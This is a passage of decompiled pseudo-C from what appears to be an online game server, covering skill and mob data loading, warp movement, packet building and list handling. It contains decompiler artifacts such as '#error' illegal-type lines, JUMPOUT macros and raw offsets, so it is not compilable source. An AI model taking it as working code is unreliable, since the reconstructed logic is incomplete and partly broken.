[sp+19Ch] [bp-128h]@43 int v139; // [sp+1A0h] [bp-124h]@43 int v140; // [sp+1A4h] [bp-120h]@43 int v141; // [sp+1A8h] [bp-11Ch]@43 int v142; // [sp+1B4h] [bp-110h]@121 int v143; // [sp+1B8h] [bp-10Ch]@121 int v144; // [sp+1BCh] [bp-108h]@121 char buf; // [sp+1C0h] [bp-104h]@55 char v146; // [sp+200h] [bp-C4h]@81 char buffer[64]; // [sp+240h] [bp-84h]@41 char v148; // [sp+280h] [bp-44h]@119 v126 = this; for ( k = 0; ; ++k ) { v43 = k; explosion = (unsigned int)&v38; v42 = 0; v41 = 0; v40 = 0; v39 = 0; *(_DWORD *)&v38.ort_Name[0] = 0; strncpy(v38.ort_Name, "SkillBreedMob", 0x14u); v2 = OptionReader::or_SelectFromOrder(miscdata, v38, v43); v3 = v2; if ( !v2 ) break; v4 = *(_BYTE *)v2; if ( *(_BYTE *)v3 != *((_BYTE *)v3 + 246) ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBreedMob : SkillBreedMob : Checksum", v4); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } v5 = BTree::operator__(&mobdatabox.mdb_btree, (const char *)v3 + 34); v6 = -1; if ( v5 != -1 ) v6 = v5; if ( v6 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MiscDataTable::mdt_SkillBreedMob : Imvalid mob name", (const char *)v3 + 34); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } MiscDataTable::mdt_SkillBufferAlloc(v126, (const char *)v3 + 1); v8 = v7; *(_WORD *)(v7 + 2) = v6; *(_BYTE *)(v7 + 4) = *((_BYTE *)v3 + 67); v9 = *((_BYTE *)v3 + 112); explosion = v7; if ( v9 == 45 ) { *(_DWORD *)(v7 + 16) = 391; } else { v10 = BTree::operator__(&unk_608A28, (const char *)v3 + 112); if ( v10 == -1 ) { v43 = *(_DWORD *)(v8 + 16); AssertClass::ac_AssertFail( &shineassert, "MiscDataTable::mdt_SkillBreedMob : Invalid abstate", (const char *)v43); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } *(_DWORD *)(v8 + 16) = v10; } v11 = *((_DWORD *)v3 + 17); v12 = *((_DWORD *)v3 + 19); v131 = *((_DWORD *)v3 + 18); v13 = *((_DWORD *)v3 + 20); v132 = v12; v14 = *((_DWORD *)v3 + 21); v133 = v13; v134 = v14; v70 = 0; v69 = 0; v68 = 0; v67 = 0; *(_DWORD *)v66 = 0; strncpy(v66, "Root", 0x14u); if ( v11 != *(_DWORD *)v66 || v131 != v67 || v132 != v68 || v133 != v69 || v134 != v70 ) { v100 = 0; v99 = 0; v98 = 0; v97 = 0; *(_DWORD *)v96 = 0; strncpy(v96, "Chase", 0x14u); if ( v11 != *(_DWORD *)v96 || v131 != v97 || v132 != v98 || v133 != v99 || v134 != v100 ) { v80 = 0; v79 = 0; v78 = 0; v77 = 0; *(_DWORD *)v76 = 0; strncpy(v76, "Rampage", 0x14u); if ( v11 != *(_DWORD *)v76 || v131 != v77 || v132 != v78 || v133 != v79 || v134 != v80 ) { v120 = 0; v119 = 0; v118 = 0; v117 = 0; *(_DWORD *)v116 = 0; strncpy(v116, "Roam", 0x14u); if ( v11 != *(_DWORD *)v116 || v131 != v117 || v132 != v118 || v133 != v119 || v134 != v120 ) { v15 = ORToken::ort_GetString((ORToken *)((char *)v3 + 68), buffer); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBreedMob : AI type wrong", v15); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } *(_DWORD *)(explosion + 8) = 3; } else { *(_DWORD *)(explosion + 8) = 2; } } else { *(_DWORD *)(explosion + 8) = 1; } } else { *(_DWORD *)(explosion + 8) = 0; } v16 = *((_DWORD *)v3 + 22); v17 = *((_DWORD *)v3 + 24); v138 = *((_DWORD *)v3 + 23); v18 = *((_DWORD *)v3 + 25); v139 = v17; v19 = *((_DWORD *)v3 + 26); v140 = v18; v141 = v19; v90 = 0; v89 = 0; v88 = 0; v87 = 0; *(_DWORD *)v86 = 0; strncpy(v86, "Caster", 0x14u); if ( v16 != *(_DWORD *)v86 || v138 != v87 || v139 != v88 || v140 != v89 || v141 != v90 ) { v60 = 0; v59 = 0; v58 = 0; v57 = 0; *(_DWORD *)v56 = 0; strncpy(v56, "Target", 0x14u); if ( v16 != *(_DWORD *)v56 || v138 != v57 || v139 != v58 || v140 != v59 || v141 != v60 ) { v20 = ORToken::ort_GetString((ORToken *)((char *)v3 + 88), &buf); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBreedMob : RegenLoc wrong", v20); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } *(_DWORD *)(explosion + 12) = 1; } else { *(_DWORD *)(explosion + 12) = 0; } v21 = *(_DWORD *)((char *)v3 + 145); v22 = *(_DWORD *)((char *)v3 + 149); v23 = *(_DWORD *)((char *)v3 + 157); v24 = *(_DWORD *)((char *)v3 + 161); v135 = *(_DWORD *)((char *)v3 + 153); v136 = v23; v137 = v24; v50 = 0; v49 = 0; v48 = 0; v47 = 0; *(_DWORD *)v46 = 0; strncpy(v46, (const char *)&stru_598DE4.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 0x14u); if ( v21 != *(_DWORD *)v46 || v22 != v47 || v135 != v48 || v136 != v49 || v137 != v50 ) { v75 = 0; v74 = 0; v73 = 0; v72 = 0; *(_DWORD *)v71 = 0; strncpy(v71, "Enemy", 0x14u); if ( v21 != *(_DWORD *)v71 || v22 != v72 || v135 != v73 || v136 != v74 || v137 != v75 ) { v55 = 0; v54 = 0; v53 = 0; v52 = 0; *(_DWORD *)v51 = 0; strncpy(v51, "Target", 0x14u); if ( v21 != *(_DWORD *)v51 || v22 != v52 || v135 != v53 || v136 != v54 || v137 != v55 ) { v85 = 0; v84 = 0; v83 = 0; v82 = 0; *(_DWORD *)v81 = 0; strncpy(v81, "Always", 0x14u); if ( v21 != *(_DWORD *)v81 || v22 != v82 || v135 != v83 || v136 != v84 || v137 != v85 ) { v26 = ORToken::ort_GetString((ORToken *)((char *)v3 + 145), &v146); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBreedMob : Triggerobject", v26); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } v25 = explosion; *(_DWORD *)(explosion + 92) = 3; } else { v25 = explosion; *(_DWORD *)(explosion + 92) = 2; } } else { v25 = explosion; *(_DWORD *)(explosion + 92) = 1; } } else { v25 = explosion; *(_DWORD *)(explosion + 92) = 0; } *(_DWORD *)(v25 + 96) = *(_DWORD *)((char *)v3 + 165); *(_DWORD *)(v25 + 84) = *((_DWORD *)v3 + 27); *(_WORD *)(v25 + 108) = *(_WORD *)((char *)v3 + 171); *(_DWORD *)(v25 + 112) = *(_WORD *)((char *)v3 + 169); if ( *((_BYTE *)v3 + 173) == 45 ) { *(_WORD *)(v25 + 100) = -1; } else { explosion = BTree::operator__(&skillnametree, (const char *)v3 + 173); if ( explosion == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MiscDataTable::mdt_SkillBreedMob : ExplosionSkill wrong", (const char *)v3 + 173); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } *(_WORD *)(v25 + 100) = explosion; } v27 = *(_DWORD *)((char *)v3 + 206); v28 = *(_DWORD *)((char *)v3 + 214); v127 = *(_DWORD *)((char *)v3 + 210); v29 = *(_DWORD *)((char *)v3 + 218); v128 = v28; v30 = *(_DWORD *)((char *)v3 + 222); v129 = v29; v130 = v30; v95 = 0; v94 = 0; v93 = 0; v92 = 0; *(_DWORD *)v91 = 0; strncpy(v91, (const char *)&stru_598DE4.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 0x14u); if ( v27 != *(_DWORD *)v91 || v127 != v92 || v128 != v93 || v129 != v94 || v130 != v95 ) { v105 = 0; v104 = 0; v103 = 0; v102 = 0; *(_DWORD *)v101 = 0; strncpy(v101, "MyLoc", 0x14u); if ( v27 != *(_DWORD *)v101 || v127 != v102 || v128 != v103 || v129 != v104 || v130 != v105 ) { v115 = 0; v114 = 0; v113 = 0; v112 = 0; *(_DWORD *)v111 = 0; strncpy(v111, "MyObj", 0x14u); if ( v27 != *(_DWORD *)v111 || v127 != v112 || v128 != v113 || v129 != v114 || v130 != v115 ) { v125 = 0; v124 = 0; v123 = 0; v122 = 0; *(_DWORD *)v121 = 0; strncpy(v121, "TargetLoc", 0x14u); if ( v27 != *(_DWORD *)v121 || v127 != v122 || v128 != v123 || v129 != v124 || v130 != v125 ) { v110 = 0; v109 = 0; v108 = 0; v107 = 0; *(_DWORD *)v106 = 0; strncpy(v106, "TargetObj", 0x14u); if ( v27 != *(_DWORD *)v106 || v127 != v107 || v128 != v108 || v129 != v109 || v130 != v110 ) { v31 = ORToken::ort_GetString((ORToken *)((char *)v3 + 145), &v148); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBreedMob : Triggerobject", v31); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } *(_DWORD *)(v25 + 104) = 4; } else { *(_DWORD *)(v25 + 104) = 3; } } else { *(_DWORD *)(v25 + 104) = 2; } } else { *(_DWORD *)(v25 + 104) = 1; } } else { *(_DWORD *)(v25 + 104) = 0; } v32 = (int)((char *)v3 + 226); v33 = *(_DWORD *)((char *)v3 + 226); v34 = *(_DWORD *)((char *)v3 + 230); v35 = *(_DWORD *)(v32 + 8); v36 = *(_DWORD *)(v32 + 12); v37 = *(_DWORD *)(v32 + 16); v142 = v35; v143 = v36; v144 = v37; v65 = 0; v64 = 0; v63 = 0; v62 = 0; *(_DWORD *)v61 = 0; strncpy(v61, "Dead", 0x14u); if ( v33 == *(_DWORD *)v61 && v34 == v62 && v142 == v63 && v143 == v64 && v144 == v65 ) *(_BYTE *)(v25 + 88) |= 1u; } } //----- (00478220) -------------------------------------------------------- #error "478220: undefined or illegal type '#331' (funcsize=112)" //----- (004783A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_WarpTo(void *this, int locate, int sklidx) { int v3; // esi@1 int v4; // eax@1 int v5; // eax@4 int v6; // edx@4 int v7; // eax@4 char *v8; // edi@7 int v9; // eax@9 char *v10; // eax@10 int v11; // ecx@10 int v12; // ST04_4@10 int v13; // eax@10 int v14; // eax@10 int v15; // eax@10 char *v16; // [sp+8h] [bp-40h]@2 int from; // [sp+20h] [bp-28h]@4 int v18; // [sp+24h] [bp-24h]@4 int goal; // [sp+28h] [bp-20h]@3 int v20; // [sp+2Ch] [bp-1Ch]@4 AxialListPacketBroadcast alchat; // [sp+30h] [bp-18h]@10 int v22; // [sp+44h] [bp-4h]@1 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_WarpTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_WarpTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)(v3 + 98); v22 = 0; if ( v4 ) { if ( ShineObjectClass::ShineObject::so_FindBlockLocate( (void *)v3, locate, *(_DWORD *)(sklidx + 172), (int)&goal, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsMoveBlock) ) { v5 = *(_DWORD *)(v3 + 78); from = *(_DWORD *)v5; v6 = *(_DWORD *)v3; v18 = *(_DWORD *)(v5 + 4); *(_DWORD *)(v3 + 144) = 0; (*(void (__thiscall **)(int))(v6 + 2528))(v3); (*(void (__thiscall **)(int, signed int, _DWORD, signed int))(*(_DWORD *)v3 + 828))(v3, 2, 0, 3); v7 = *(_DWORD *)(v3 + 78); *(_DWORD *)v7 = goal; *(_DWORD *)(v7 + 4) = v20; if ( !FieldMap::fm_Marking(*(#331 **)(v3 + 98), v3, 0, 0) ) { (*(void (__thiscall **)(int, _DWORD, _DWORD, int))(*(_DWORD *)v3 + 2724))( v3, *(_WORD *)(v3 + 7176), *(_DWORD *)(v3 + 7192), v3 + 7212); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9296; *((_WORD *)v8 + 1) = **(_WORD **)(sklidx + 4); *((_DWORD *)v8 + 1) = *(_DWORD *)locate; *((_DWORD *)v8 + 2) = *(_DWORD *)(locate + 4); *((_WORD *)v8 + 6) = SkillEffectApply::SkillBlastEffectContainer::sbec_GetIndex(&skilleffectapplyer); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::smo_SkillBash_BlastA : Packet Too Long", 14); } v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18472; *((_WORD *)v10 + 1) = *(_WORD *)(v3 + 4); *((_DWORD *)v10 + 2) = v18; *((_DWORD *)v10 + 1) = from; v11 = *(_DWORD *)(v3 + 78); *((_DWORD *)v10 + 3) = *(_DWORD *)v11; *((_DWORD *)v10 + 4) = *(_DWORD *)(v11 + 4); *((_WORD *)v10 + 10) = **(_WORD **)(sklidx + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 22); v12 = *(_DWORD *)(v3 + 78); LOBYTE(v22) = 1; v13 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v13, v12, 0, 0, (int)&alchat, 1, 65535); v14 = *(_DWORD *)(v3 + 140); *(_DWORD *)(v3 + 144) = 0; *(_DWORD *)(v3 + 168) = 0; *(_DWORD *)(v3 + 172) = 0; *(_DWORD *)(v3 + 176) = 0; *(_DWORD *)(v3 + 180) = 0; *(_DWORD *)(v3 + 184) = 0; *(_DWORD *)(v3 + 148) = 0; v15 = *(_DWORD *)(v14 + 78); *(_DWORD *)(v3 + 160) = *(_DWORD *)v15; *(_DWORD *)(v3 + 164) = *(_DWORD *)(v15 + 4); LOBYTE(v22) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v22 = -1; goto LABEL_11; } (*(void (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)v3 + 1464))(v3, 1669, 0, 0); } v22 = -1; LABEL_11: v16 = "ShineObjectClass::ShineMobileObject::smo_WarpTo"; goto LABEL_12; } v22 = -1; v16 = "ShineObjectClass::ShineMobileObject::smo_WarpTo"; LABEL_12: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v16); } //----- (00478620) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_Load(MiscDataTable *this) { MiscDataTable *v1; // esi@1 char v2; // bl@1 int v3; // eax@1 OptionReader miscdata; // [sp+8h] [bp-10864h]@1 unsigned int v5; // [sp+1085Ch] [bp-10h]@4 int v6; // [sp+10868h] [bp-4h]@1 v1 = this; OptionReader::OptionReader(&miscdata); v6 = 0; v2 = OptionReader::or_Read(&miscdata, "../9Data/Shine/World/MiscDataTable.txt"); v3 = OptionReader::or_ErrorLine(&miscdata); if ( !v2 ) { AssertClass::ac_AssertFail(&shineassert, "Error in read MiscDataTable.txt", v3); ShineExit("MiscDataTable::mdt_Load"); } v1->mdt_AbStateDataSize = 0; v1->mdt_SkillDataSize = 0; MiscDataTable::mdt_SkillBreedMob(v1, &miscdata); MiscDataTable::mdt_AbStateReset(v1, &miscdata); MiscDataTable::mdt_Neutralization(v1, &miscdata); MiscDataTable::mdt_Polymorph(v1, &miscdata); v6 = -1; OptionReader::_OptionReader(&miscdata); __security_check_cookie(v5); } //----- (00478720) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_WarpForward(void *this, int sklidx) { void *v2; // esi@1 int v3; // eax@1 int v4; // ecx@1 int *v5; // edx@1 int v6; // ST00_4@1 int towhere; // [sp+Ch] [bp-14h]@1 int v8; // [sp+10h] [bp-10h]@1 int v9; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_WarpForward"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_WarpForward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)((char *)v2 + 78); v4 = *(_DWORD *)(sklidx + 172); towhere = *(_DWORD *)v3; v5 = *(int **)((char *)v2 + 82); v8 = *(_DWORD *)(v3 + 4); v6 = *(_BYTE *)v5; v9 = 0; DirectDistanceTable::ddt_GetFoward(&ddt, v6, v4, (SHINE_XY_TYPE *)&towhere); ShineObjectClass::ShineMobileObject::smo_WarpTo(v2, (int)&towhere, sklidx); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_WarpForward"); } //----- (00478800) -------------------------------------------------------- MobDataBox::MobDataBoxIndex *__thiscall MobDataBox::operator__(MobDataBox *this, unsigned __int16 mobid) { MobDataBox::MobDataBoxIndex *v2; // edi@2 unsigned __int16 v3; // cx@4 if ( mobid > this->mdb_maxmobhandle || (v2 = &this->mdb_index[mobid]) == 0 || !v2->data ) return 0; v3 = v2->data->ID; if ( v3 != mobid ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::operator [] :Invalid mob index", mobid, v3); return 0; } return v2; } //----- (00478860) -------------------------------------------------------- void __thiscall MobAttackSequence::AttackElement4Mob::ae4m_NextSkill(MobAttackSequence::AttackElement4Mob *this, int *attacksequenceindex) { int v2; // edx@1 v2 = *attacksequenceindex + 1; *attacksequenceindex = v2; if ( v2 >= this->ae4m_SequenceLength ) *attacksequenceindex = this->ae4m_StartIndex; } //----- (00478880) -------------------------------------------------------- void __thiscall MobAttackSequence::SkillChange::sc_Store(MobAttackSequence::SkillChange *this, char *from, char *to, unsigned int value) { MobAttackSequence::SkillChange *v4; // esi@1 signed __int16 v5; // bx@2 unsigned int v6; // eax@3 unsigned int v7; // eax@8 v4 = this; if ( *from == 45 ) { v5 = -1; } else { v6 = BTree::operator__(&skillnametree, from); v5 = v6; if ( v6 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::SkillChange::sc_Store : Null skill", from); ShineExit("MagicContainer::mas_Load"); } } v4->sc_From = v5; if ( *to == 45 ) { v4->sc_To = -1; v4->sc_Value = value; } else { v7 = BTree::operator__(&skillnametree, to); if ( v7 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::SkillChange::sc_Store : Null skill", to); ShineExit("MagicContainer::mas_Load"); } v4->sc_To = v7; v4->sc_Value = value; } } //----- (00478950) -------------------------------------------------------- void __thiscall MobAttackSequence::mas_Append(MobAttackSequence *this, unsigned __int16 mobid) { int v2; // eax@4 if ( this->mas_MobNumber >= 0x190u ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Append : Too many element", this->mas_MobNumber); ShineExit("MagicContainer::mas_Append"); } this->mas_AttackPattern[this->mas_MobNumber].ae4m_BossMob = mobid; this->mas_AttackPattern[this->mas_MobNumber].ae4m_SequenceLength = 0; v2 = this->mas_MobNumber + 1; this->mas_MobNumber = v2; qsort((void *)this->mas_AttackPattern, v2, 0x4E0u, MobAttackSequence::AttackElement4Mob::ae4m_Compare); } //----- (004789D0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ItemLotAnalyser::LotChanger *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 ItemLotAnalyser::LotChanger *v5; // esi@4 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Next; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; v5 = v2[(unsigned __int16)v3].ls_Content; *(_DWORD *)&ele->item = *(_DWORD *)&v5->item; ele->delta = v5->delta; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (00478A20) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ItemLotAnalyser::LotChanger *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)v3 = *(_DWORD *)&ele->item; *(_DWORD *)(v3 + 4) = ele->delta; return 1; } // 478A35: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00478A50) -------------------------------------------------------- #error "478A50: undefined or illegal type '#331' (funcsize=289)" //----- (00478E10) -------------------------------------------------------- void __thiscall MobAttackSequence::_MobAttackSequence(MobAttackSequence *this) { _eh_vector_destructor_iterator_( (void *)this->mas_AttackPattern, 0x4E0u, 400, (void (__thiscall *)(void *))MobAttackSequence::AttackElement4Mob::_AttackElement4Mob); } //----- (00478E30) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00478E80) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00478FA0) -------------------------------------------------------- void __thiscall MobAttackSequence::SkillChangeList::SkillChangeList(MobAttackSequence::SkillChangeList *this) { MobAttackSequence::SkillChangeList *v1; // esi@1 bool v2; // zf@1 ListStruct *v3; // eax@2 ListStruct *v4; // eax@5 ListStruct *v5; // eax@8 ListStruct *v6; // eax@11 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 4u); v2 = v1->baseclass_0.l_MaxSize == 0; v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; if ( !v2 ) { v3 = v1->baseclass_0.l_Array; if ( !v3->ls_Content ) v3->ls_Content = v1->scl_Array; } if ( v1->baseclass_0.l_MaxSize > 1u ) { v4 = v1->baseclass_0.l_Array; if ( !v4[1].ls_Content ) v4[1].ls_Content = &v1->scl_Array[1]; } if ( v1->baseclass_0.l_MaxSize > 2u ) { v5 = v1->baseclass_0.l_Array; if ( !v5[2].ls_Content ) v5[2].ls_Content = &v1->scl_Array[2]; } if ( v1->baseclass_0.l_MaxSize > 3u ) { v6 = v1->baseclass_0.l_Array; if ( !v6[3].ls_Content ) v6[3].ls_Content = &v1->scl_Array[3]; } } // 5B0D38: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (00479020) -------------------------------------------------------- void __thiscall MobAttackSequence::MobAttackSequence(MobAttackSequence *this) { MobAttackSequence *v1; // esi@1 int v2; // eax@1 signed int v3; // ecx@1 v1 = this; _eh_vector_constructor_iterator_( (void *)this->mas_AttackPattern, 0x4E0u, 400, (void (__thiscall *)(void *))MobAttackSequence::AttackElement4Mob::AttackElement4Mob, (void (__thiscall *)(void *))MobAttackSequence::AttackElement4Mob::_AttackElement4Mob); v2 = (int)&v1->mas_AttackPattern[0].ae4m_OutOfRange; v3 = 400; do { *(_DWORD *)v2 = v2 - 168; *(_DWORD *)(v2 + 4) = v2 - 112; *(_DWORD *)(v2 + 8) = v2 - 56; *(_DWORD *)(v2 + 12) = v2 + 16; *(_BYTE *)(v2 + 72) = 0; v2 += 1248; --v3; } while ( v3 ); } //----- (00479080) -------------------------------------------------------- void __thiscall MobAttackSequence::mas_Load(MobAttackSequence *this) { unsigned int v1; // eax@1 unsigned int v2; // ecx@1 signed int v3; // eax@4 int v4; // ebp@6 MobDataBox::MobDataBoxIndex *v5; // esi@7 unsigned __int16 v6; // ax@9 _iobuf *v7; // eax@15 int v8; // eax@17 int v9; // eax@18 unsigned __int16 v10; // di@23 MobAttackSequence *v11; // esi@23 MobAttackSequence::AttackElement4Mob *v12; // ebp@23 void *v13; // eax@27 const char *v14; // esi@27 char v15; // al@28 signed __int16 v16; // di@29 char *v17; // esi@31 int v18; // eax@31 unsigned int v19; // eax@34 int v20; // eax@37 unsigned __int16 v21; // si@40 MobAttackSequence::AttackElement4Mob *v22; // edi@40 int v23; // esi@43 int v24; // ebp@43 int v25; // eax@43 int v26; // ecx@43 MobAttackSequence::SkillChangeList *v27; // eax@45 void *v28; // eax@49 MobAttackSequence::SkillChangeList *v29; // ecx@53 MobAttackSequence::SkillChange *v30; // esi@54 ListVtbl *v31; // edx@55 void *v32; // edi@59 char *v33; // eax@59 int v34; // eax@59 MobAttackSequence::SkillChangeList *v35; // eax@62 void *v36; // eax@66 MobAttackSequence::SkillChangeList *v37; // ecx@70 MobAttackSequence::SkillChange *v38; // esi@71 ListVtbl *v39; // edx@72 void *v40; // edi@76 char *v41; // eax@76 int v42; // eax@76 MobAttackSequence::SkillChangeList *v43; // eax@79 void *v44; // eax@83 MobAttackSequence::SkillChangeList *v45; // ecx@87 ListVtbl *v46; // edx@89 unsigned __int16 v47; // di@90 void *v48; // ebp@93 char *v49; // esi@93 char v50; // al@93 char *v51; // eax@102 unsigned int v52; // eax@102 AbnormalStateDictionary::AbState::AbStateStr *v53; // esi@105 MobAttackSequence::SkillChangeList *v54; // eax@111 void *v55; // eax@115 MobAttackSequence::SkillChangeList *v56; // ecx@119 MobAttackSequence::SkillChange *v57; // esi@120 ListVtbl *v58; // edx@121 void *v59; // edi@125 char *v60; // eax@125 int v61; // eax@125 char *v62; // eax@126 ORToken v63; // [sp-24h] [bp-10A10h]@27 int v64; // [sp-20h] [bp-10A0Ch]@27 int v65; // [sp-1Ch] [bp-10A08h]@27 int v66; // [sp-18h] [bp-10A04h]@27 int v67; // [sp-14h] [bp-10A00h]@27 char *v68; // [sp-10h] [bp-109FCh]@27 int v69; // [sp-Ch] [bp-109F8h]@27 int v70; // [sp-8h] [bp-109F4h]@27 int v71; // [sp-4h] [bp-109F0h]@15 MobAttackSequence::SkillChange *sc; // [sp+10h] [bp-109DCh]@17 int mob; // [sp+14h] [bp-109D8h]@6 int rec; // [sp+18h] [bp-109D4h]@26 void *skillname; // [sp+1Ch] [bp-109D0h]@39 unsigned int pnt; // [sp+20h] [bp-109CCh]@1 MobAttackSequence *thisa; // [sp+24h] [bp-109C8h]@1 char v78[4]; // [sp+28h] [bp-109C4h]@43 int v79; // [sp+2Ch] [bp-109C0h]@43 int v80; // [sp+30h] [bp-109BCh]@43 int v81; // [sp+34h] [bp-109B8h]@43 int v82; // [sp+38h] [bp-109B4h]@43 char v83[4]; // [sp+3Ch] [bp-109B0h]@96 int v84; // [sp+40h] [bp-109ACh]@96 int v85; // [sp+44h] [bp-109A8h]@96 int v86; // [sp+48h] [bp-109A4h]@96 int v87; // [sp+4Ch] [bp-109A0h]@96 char v88[4]; // [sp+50h] [bp-1099Ch]@109 int v89; // [sp+54h] [bp-10998h]@109 int v90; // [sp+58h] [bp-10994h]@109 int v91; // [sp+5Ch] [bp-10990h]@109 int v92; // [sp+60h] [bp-1098Ch]@109 char v93[4]; // [sp+64h] [bp-10988h]@60 int v94; // [sp+68h] [bp-10984h]@60 int v95; // [sp+6Ch] [bp-10980h]@60 int v96; // [sp+70h] [bp-1097Ch]@60 int v97; // [sp+74h] [bp-10978h]@60 char v98[4]; // [sp+78h] [bp-10974h]@77 int v99; // [sp+7Ch] [bp-10970h]@77 int v100; // [sp+80h] [bp-1096Ch]@77 int v101; // [sp+84h] [bp-10968h]@77 int v102; // [sp+88h] [bp-10964h]@77 int type; // [sp+8Ch] [bp-10960h]@27 int v104; // [sp+98h] [bp-10954h]@43 int v105; // [sp+9Ch] [bp-10950h]@43 int v106; // [sp+A0h] [bp-1094Ch]@43 char buf[33]; // [sp+A4h] [bp-10948h]@59 char buffer[128]; // [sp+C8h] [bp-10924h]@15 char v109; // [sp+148h] 